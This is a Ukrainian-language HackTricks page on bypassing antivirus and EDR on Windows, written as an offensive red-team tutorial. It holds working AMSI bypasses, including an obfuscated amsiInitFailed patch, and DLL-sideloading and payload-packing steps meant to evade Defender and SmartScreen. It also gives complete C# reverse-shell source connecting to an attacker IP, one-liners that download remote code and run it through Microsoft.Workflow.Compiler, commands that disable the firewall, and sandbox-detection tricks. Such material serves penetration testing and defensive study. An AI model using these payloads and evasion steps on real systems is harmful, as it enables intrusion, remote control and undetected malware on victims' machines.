hacktricks/windows-hardening/av-bypass.md

48 KiB
Raw Blame History

Antivirus (AV) Bypass

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Цю сторінку написав @m2rc_p!

Методологія ухилення від AV

Наразі антивіруси використовують різні методи для перевірки, чи є файл шкідливим, чи ні: статичне виявлення, динамічний аналіз, а для більш просунутих EDR - поведінковий аналіз.

Статичне виявлення

Статичне виявлення досягається шляхом позначення відомих шкідливих рядків або масивів байтів у бінарному файлі або скрипті, а також витягування інформації з самого файлу (наприклад, опис файлу, назва компанії, цифрові підписи, значок, контрольна сума тощо). Це означає, що використання відомих публічних інструментів може призвести до того, що вас легше спіймають, оскільки їх, ймовірно, вже проаналізували та позначили як шкідливі. Є кілька способів обійти таке виявлення:

  • Шифрування

Якщо ви зашифруєте бінарний файл, антивірус не зможе виявити вашу програму, але вам знадобиться якийсь завантажувач для розшифровки та виконання програми в пам'яті.

  • Обфускація

Іноді все, що вам потрібно зробити, це змінити кілька рядків у вашому бінарному файлі або скрипті, щоб обійти антивірус, але це може бути трудомістким завданням, залежно від того, що ви намагаєтеся обфускувати.

  • Користувацькі інструменти

Якщо ви розробите свої власні інструменти, не буде відомих шкідливих підписів, але це потребує багато часу та зусиль.

{% hint style="info" %} Добрий спосіб перевірити статичне виявлення Windows Defender - це ThreatCheck. Він в основному розділяє файл на кілька сегментів, а потім просить Defender просканувати кожен з них окремо, таким чином, він може точно сказати вам, які рядки або байти у вашому бінарному файлі були позначені. {% endhint %}

Я настійно рекомендую вам ознайомитися з цим YouTube плейлистом про практичне ухилення від AV.

Динамічний аналіз

Динамічний аналіз - це коли антивірус запускає ваш бінарний файл у пісочниці та спостерігає за шкідливою активністю (наприклад, намагається розшифрувати та прочитати паролі вашого браузера, виконує мінідамп на LSASS тощо). Ця частина може бути трохи складнішою для роботи, але ось кілька речей, які ви можете зробити, щоб уникнути пісочниць.

  • Сон перед виконанням Залежно від того, як це реалізовано, це може бути чудовим способом обійти динамічний аналіз антивірусів. Антивіруси мають дуже короткий час для сканування файлів, щоб не переривати робочий процес користувача, тому використання тривалих снів може порушити аналіз бінарних файлів. Проблема в тому, що багато пісочниць антивірусів можуть просто пропустити сон, залежно від того, як це реалізовано.
  • Перевірка ресурсів машини Зазвичай пісочниці мають дуже мало ресурсів для роботи (наприклад, < 2 ГБ ОП), інакше вони можуть сповільнити машину користувача. Ви також можете бути дуже креативними тут, наприклад, перевіряючи температуру ЦП або навіть швидкість вентиляторів, не все буде реалізовано в пісочниці.
  • Перевірки, специфічні для машини Якщо ви хочете націлитися на користувача, чия робоча станція приєднана до домену "contoso.local", ви можете перевірити домен комп'ютера, щоб дізнатися, чи відповідає він вказаному вами, якщо ні, ви можете змусити свою програму вийти.

Виявляється, що ім'я комп'ютера пісочниці Microsoft Defender - HAL9TH, тому ви можете перевірити ім'я комп'ютера у вашому шкідливому програмному забезпеченні перед детонацією, якщо ім'я відповідає HAL9TH, це означає, що ви всередині пісочниці Defender, тому ви можете змусити свою програму вийти.

джерело: https://youtu.be/StSLxFbVz0M?t=1439

Декілька інших дійсно хороших порад від @mgeeky для протидії пісочницям

Red Team VX Discord #malware-dev channel

Як ми вже говорили раніше в цьому пості, публічні інструменти врешті-решт будуть виявлені, тому вам слід запитати себе щось:

Наприклад, якщо ви хочете скинути LSASS, чи дійсно вам потрібно використовувати mimikatz? Чи можете ви використовувати інший проект, який менш відомий і також скидає LSASS.

Правильна відповідь, ймовірно, остання. Взяти mimikatz як приклад, це, ймовірно, один з, якщо не найбільш позначених шкідливих програм антивірусами та EDR, хоча сам проект дуже класний, з ним також важко працювати, щоб обійти антивіруси, тому просто шукайте альтернативи для того, що ви намагаєтеся досягти.

{% hint style="info" %} Коли ви модифікуєте свої вантажі для ухилення, переконайтеся, що ви вимкнули автоматичну подачу зразків в Defender, і, будь ласка, серйозно, НЕ ЗАВАНТАЖУЙТЕ НА VIRUSTOTAL, якщо ваша мета - досягти ухилення в довгостроковій перспективі. Якщо ви хочете перевірити, чи виявляє ваш вантаж певний антивірус, встановіть його на віртуальну машину, спробуйте вимкнути автоматичну подачу зразків і протестуйте його там, поки не будете задоволені результатом. {% endhint %}

EXEs проти DLLs

Коли це можливо, завжди надавайте перевагу використанню DLL для ухилення, на мій погляд, файли DLL зазвичай значно менше виявляються та аналізуються, тому це дуже простий трюк, який можна використовувати, щоб уникнути виявлення в деяких випадках (якщо ваш вантаж має якийсь спосіб виконання як DLL, звичайно).

Як ми можемо бачити на цьому зображенні, вантаж DLL з Havoc має рівень виявлення 4/26 на antiscan.me, тоді як вантаж EXE має рівень виявлення 7/26.

порівняння вантажу звичайного Havoc EXE з вантажем звичайного Havoc DLL на antiscan.me

Тепер ми покажемо кілька трюків, які ви можете використовувати з файлами DLL, щоб бути набагато непомітнішими.

Завантаження DLL та проксування

Завантаження DLL використовує порядок пошуку DLL, що використовується завантажувачем, розміщуючи як жертву, так і шкідливі вантажі поруч один з одним.

Ви можете перевірити програми, які підлягають завантаженню DLL, використовуючи Siofra та наступний скрипт PowerShell:

{% code overflow="wrap" %}

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

{% endcode %}

Ця команда виведе список програм, які підлягають атаці через підміни DLL у "C:\Program Files\" та DLL файли, які вони намагаються завантажити.

Я настійно рекомендую вам самостійно дослідити програми, які підлягають підміні DLL/можуть бути завантажені, ця техніка досить непомітна, якщо її правильно виконати, але якщо ви використовуєте публічно відомі програми, які можуть бути завантажені через DLL, вас можуть легко спіймати.

Просто розміщення шкідливої DLL з ім'ям, яке програма очікує завантажити, не запустить ваш вантаж, оскільки програма очікує деякі специфічні функції всередині цієї DLL. Щоб вирішити цю проблему, ми використаємо іншу техніку, звану DLL Проксіюванням/Пересиланням.

DLL Проксіювання пересилає виклики, які програма робить з проксі (і шкідливої) DLL до оригінальної DLL, таким чином зберігаючи функціональність програми та здатність обробляти виконання вашого вантажу.

Я буду використовувати проект SharpDLLProxy від @flangvik

Це кроки, які я виконав:

{% code overflow="wrap" %}

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

{% endcode %}

Остання команда надасть нам 2 файли: шаблон вихідного коду DLL та оригінальну перейменовану DLL.

{% code overflow="wrap" %}

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

{% endcode %}

Це результати:

Як наш shellcode (закодований за допомогою SGN), так і проксі DLL мають 0/26 рівень виявлення на antiscan.me! Я б назвав це успіхом.

{% hint style="info" %} Я щиро рекомендую вам подивитися S3cur3Th1sSh1t's twitch VOD про DLL Sideloading, а також відео ippsec, щоб дізнатися більше про те, що ми обговорювали більш детально. {% endhint %}

Freeze

Freeze - це набір інструментів для обходу EDR, використовуючи призупинені процеси, прямі системні виклики та альтернативні методи виконання

Ви можете використовувати Freeze для завантаження та виконання вашого shellcode у прихований спосіб.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

{% hint style="info" %} Уникнення - це просто гра в кішки-мишки, те, що працює сьогодні, може бути виявлено завтра, тому ніколи не покладайтеся лише на один інструмент, якщо можливо, спробуйте поєднувати кілька технік уникнення. {% endhint %}

AMSI (Інтерфейс сканування антивірусного програмного забезпечення)

AMSI був створений для запобігання "безфайловому шкідливому ПЗ". Спочатку антивірусні програми могли лише сканувати файли на диску, тому, якщо ви могли якимось чином виконати корисне навантаження безпосередньо в пам'яті, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки не мав достатньої видимості.

Функція AMSI інтегрована в ці компоненти Windows.

  • Контроль облікових записів користувачів, або UAC (підвищення прав для EXE, COM, MSI або установки ActiveX)
  • PowerShell (скрипти, інтерактивне використання та динамічна оцінка коду)
  • Windows Script Host (wscript.exe та cscript.exe)
  • JavaScript та VBScript
  • Макроси Office VBA

Вона дозволяє антивірусним рішенням перевіряти поведінку скриптів, відкриваючи вміст скриптів у формі, яка є як незашифрованою, так і не обфускованою.

Виконання IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') викличе наступне сповіщення в Windows Defender.

Зверніть увагу, як передує amsi: і потім шлях до виконуваного файлу, з якого запустився скрипт, у цьому випадку, powershell.exe

Ми не скинули жодного файлу на диск, але все ж були спіймані в пам'яті через AMSI.

Є кілька способів обійти AMSI:

  • Обфускація

Оскільки AMSI в основному працює з статичними виявленнями, тому модифікація скриптів, які ви намагаєтеся завантажити, може бути хорошим способом уникнути виявлення.

Однак AMSI має можливість розшифровувати скрипти, навіть якщо у них є кілька шарів, тому обфускація може бути поганим варіантом залежно від того, як це зроблено. Це ускладнює уникнення. Хоча іноді все, що вам потрібно зробити, це змінити кілька імен змінних, і ви будете в порядку, тому це залежить від того, наскільки щось було позначено.

  • Обхід AMSI

Оскільки AMSI реалізується шляхом завантаження DLL у процес PowerShell (також cscript.exe, wscript.exe тощо), його можна легко підробити, навіть працюючи як неправа користувач. Через цей недолік у реалізації AMSI дослідники знайшли кілька способів уникнути сканування AMSI.

Примусова помилка

Примусове завершення ініціалізації AMSI (amsiInitFailed) призведе до того, що для поточного процесу не буде ініційовано жодного сканування. Спочатку це було розкрито Метом Грейбером, і Microsoft розробила підпис, щоб запобігти більш широкому використанню.

{% code overflow="wrap" %}

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

{% endcode %}

Все, що було потрібно, це один рядок коду PowerShell, щоб зробити AMSI непридатним для поточного процесу PowerShell. Цей рядок, звичайно, був позначений самим AMSI, тому потрібні деякі модифікації, щоб використовувати цю техніку.

Ось модифікований обхід AMSI, який я взяв з цього Github Gist.

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.

Memory Patching

Цю техніку спочатку виявив @RastaMouse, і вона полягає у знаходженні адреси для функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та переписуванні її інструкціями, щоб повернути код для E_INVALIDARG, таким чином, результат фактичного сканування поверне 0, що інтерпретується як чистий результат.

{% hint style="info" %} Please read https://rastamouse.me/memory-patching-amsi-bypass/ for a more detailed explanation. {% endhint %}

Існує також багато інших технік, які використовуються для обходу AMSI за допомогою powershell, ознайомтеся з цією сторінкою та цього репозиторію, щоб дізнатися більше про них.

Або цей скрипт, який через пам'яткове патчування буде патчити кожен новий Powersh

Obfuscation

Існує кілька інструментів, які можна використовувати для обфускації C# коду у відкритому тексті, генерації метапрограмних шаблонів для компіляції бінарних файлів або обфускації скомпільованих бінарних файлів, таких як:

  • InvisibilityCloak: C# обфускатор
  • Obfuscator-LLVM: Метою цього проекту є надання відкритого коду форку LLVM компіляційного пакету, здатного забезпечити підвищену безпеку програмного забезпечення через обфускацію коду та захист від підробки.
  • ADVobfuscator: ADVobfuscator демонструє, як використовувати мову C++11/14 для генерації, під час компіляції, обфускованого коду без використання будь-якого зовнішнього інструменту та без модифікації компілятора.
  • obfy: Додає шар обфускованих операцій, згенерованих за допомогою шаблонного метапрограмування C++, що ускладнить життя людині, яка хоче зламати додаток.
  • Alcatraz: Alcatraz - це обфускатор бінарних файлів x64, здатний обфускувати різні файли pe, включаючи: .exe, .dll, .sys
  • metame: Metame - це простий двигун метаморфного коду для довільних виконуваних файлів.
  • ropfuscator: ROPfuscator - це детальний фреймворк обфускації коду для мов, що підтримують LLVM, з використанням ROP (програмування, орієнтованого на повернення). ROPfuscator обфускує програму на рівні асемблерного коду, перетворюючи звичайні інструкції на ROP-ланцюги, що ускладнює наше природне сприйняття нормального потоку управління.
  • Nimcrypt: Nimcrypt - це .NET PE Crypter, написаний на Nim.
  • inceptor: Inceptor здатний перетворювати існуючі EXE/DLL у shellcode, а потім завантажувати їх.

SmartScreen & MoTW

Ви, можливо, бачили цей екран, коли завантажували деякі виконувані файли з Інтернету та виконували їх.

Microsoft Defender SmartScreen - це механізм безпеки, призначений для захисту кінцевого користувача від запуску потенційно шкідливих додатків.

SmartScreen в основному працює на основі репутації, що означає, що незвичайно завантажені програми викликають SmartScreen, тим самим попереджаючи та заважаючи кінцевому користувачу виконувати файл (хоча файл все ще можна виконати, натиснувши Більше інформації -> Запустити все ж).

MoTW (Мітка вебу) - це потік альтернативних даних NTFS з назвою Zone.Identifier, який автоматично створюється під час завантаження файлів з Інтернету разом з URL-адресою, з якої він був завантажений.

Перевірка Zone.Identifier ADS для файлу, завантаженого з Інтернету.

{% hint style="info" %} It's important to note that executables signed with a trusted signing certificate won't trigger SmartScreen. {% endhint %}

Дуже ефективний спосіб запобігти тому, щоб ваші корисні навантаження отримали Мітку вебу, - це упаковка їх у якийсь контейнер, наприклад, ISO. Це відбувається тому, що Мітка вебу (MOTW) не може бути застосована до не NTFS томів.

PackMyPayload - це інструмент, який упаковує корисні навантаження в вихідні контейнери, щоб уникнути Мітки вебу.

Example usage:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Ось демонстрація обходу SmartScreen шляхом упаковки payload у файли ISO за допомогою PackMyPayload

Відображення збірки C#

Завантаження бінарних файлів C# в пам'ять відомо вже досить давно, і це все ще дуже хороший спосіб запуску ваших інструментів після експлуатації без ризику бути спійманим AV.

Оскільки payload буде завантажено безпосередньо в пам'ять без доступу до диска, нам потрібно буде лише подбати про патчинг AMSI для всього процесу.

Більшість C2 фреймворків (sliver, Covenant, metasploit, CobaltStrike, Havoc тощо) вже надають можливість виконувати збірки C# безпосередньо в пам'яті, але існують різні способи зробити це:

  • Fork&Run

Це передбачає створення нового жертвеного процесу, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а коли закінчите, завершення нового процесу. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається ззовні нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде спіймано, є набагато більша ймовірність того, що наш імплант виживе. Недолік полягає в тому, що у вас є більша ймовірність бути спійманим за допомогою поведінкових виявлень.

  • Inline

Це про ін'єкцію шкідливого коду після експлуатації в його власний процес. Таким чином, ви можете уникнути створення нового процесу та його сканування AV, але недолік полягає в тому, що якщо щось піде не так з виконанням вашого payload, є набагато більша ймовірність втрати вашого beacon, оскільки він може зламатися.

{% hint style="info" %} Якщо ви хочете дізнатися більше про завантаження збірок C#, будь ласка, ознайомтеся з цією статтею https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ та їх InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly) {% endhint %}

Ви також можете завантажувати збірки C# з PowerShell, ознайомтеся з Invoke-SharpLoader та відео S3cur3th1sSh1t.

Використання інших мов програмування

Як пропонується в https://github.com/deeexcee-io/LOI-Bins, можливо виконувати шкідливий код, використовуючи інші мови, надаючи скомпрометованій машині доступ до середовища інтерпретатора, встановленого на SMB-ресурсі, контрольованому зловмисником.

Дозволяючи доступ до бінарних файлів інтерпретатора та середовища на SMB-ресурсі, ви можете виконувати довільний код на цих мовах в пам'яті скомпрометованої машини.

Репозиторій вказує: Defender все ще сканує скрипти, але, використовуючи Go, Java, PHP тощо, ми маємо більшу гнучкість для обходу статичних підписів. Тестування з випадковими не обфусцированими реверс-shell скриптами на цих мовах виявилося успішним.

Розширене ухилення

Ухилення - це дуже складна тема, іноді потрібно враховувати багато різних джерел телеметрії в одній системі, тому практично неможливо залишатися повністю непоміченим у зрілих середовищах.

Кожне середовище, з яким ви стикаєтеся, матиме свої власні сильні та слабкі сторони.

Я настійно рекомендую вам подивитися цю доповідь від @ATTL4S, щоб отримати уявлення про більш розширені техніки ухилення.

{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}

Це також ще одна чудова доповідь від @mariuszbit про ухилення в глибині.

{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}

Старі техніки

Перевірте, які частини Defender вважає шкідливими

Ви можете використовувати ThreatCheck, який видалить частини бінарного файлу, поки не виявить, яка частина Defender вважає шкідливою, і розділить її для вас.
Інший інструмент, який робить те саме - це avred з відкритим веб-сайтом, що пропонує послугу на https://avred.r00ted.ch/

Telnet сервер

До Windows 10 всі Windows постачалися з Telnet сервером, який ви могли встановити (як адміністратор), виконавши:

pkgmgr /iu:"TelnetServer" /quiet

Зробіть так, щоб він запускався під час старту системи та запустіть його зараз:

sc config TlntSVR start= auto obj= localsystem

Змінити порт telnet (стелс) та вимкнути брандмауер:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Завантажте його з: http://www.uvnc.com/downloads/ultravnc.html (вам потрібні бінарні завантаження, а не налаштування)

НА ХОСТІ: Виконайте winvnc.exe і налаштуйте сервер:

  • Увімкніть опцію Disable TrayIcon
  • Встановіть пароль у VNC Password
  • Встановіть пароль у View-Only Password

Потім перемістіть бінарний файл winvnc.exe і новостворений файл UltraVNC.ini всередину жертви

Зворотне з'єднання

Атакуючий повинен виконати всередині свого хоста бінарний файл vncviewer.exe -listen 5900, щоб він був підготовлений для прийому зворотного VNC з'єднання. Потім, всередині жертви: Запустіть демон winvnc winvnc.exe -run і виконайте winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900

ПОПЕРЕДЖЕННЯ: Щоб зберегти прихованість, ви не повинні робити кілька речей

  • Не запускайте winvnc, якщо він вже працює, або ви викличете вікно сповіщення. перевірте, чи він працює за допомогою tasklist | findstr winvnc
  • Не запускайте winvnc без UltraVNC.ini в тій же директорії, інакше відкриється вікно конфігурації
  • Не запускайте winvnc -h для отримання допомоги, або ви викличете вікно сповіщення

GreatSCT

Завантажте його з: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Всередині GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

Тепер почніть лістер з msfconsole -r file.rc і виконайте xml payload з:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

Поточний захисник дуже швидко завершить процес.

Компіляція нашого власного реверс-шелу

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

Перший C# реверс-шел

Скомпілюйте його з:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Використовуйте це з:

back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# використовуючи компілятор

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

Автоматичне завантаження та виконання:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}

Список обфускаторів C#: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Використання python для прикладу створення інжекторів:

Інші інструменти

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

More

{% hint style="success" %} Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks
{% endhint %}